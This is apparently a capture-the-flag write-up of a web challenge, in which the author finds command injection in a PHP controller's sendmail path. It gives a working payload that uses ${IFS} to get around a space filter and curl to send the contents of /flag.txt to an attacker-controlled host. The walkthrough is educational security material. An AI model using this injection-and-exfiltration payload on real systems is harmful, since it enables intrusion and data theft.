Once we downloaded the files, we inspect the Dockerfile. As we can see, the flag is stored in /flag.txt:

So I decided to take a look at IndexController.php:

First of all, we canโ€™t use spaces, and then the $sendMailPath is vulnerable to Command Injection. In this case, we can use a special environment of Unix systems which is ${IFS}, that stands for โ€œInternal Field Separatorโ€. It is used by the shell to separate words in a command (like the space, the tab or a newline).

Payload: /usr/sbin/sendmail;curl${IFS}<https://YOUR_IP>/?x=$(cat${IFS}/flag.txt)

So here Iโ€™ll be using Webhook.site to have a temporally web server and send there the curl output:

Now I checked the webserver: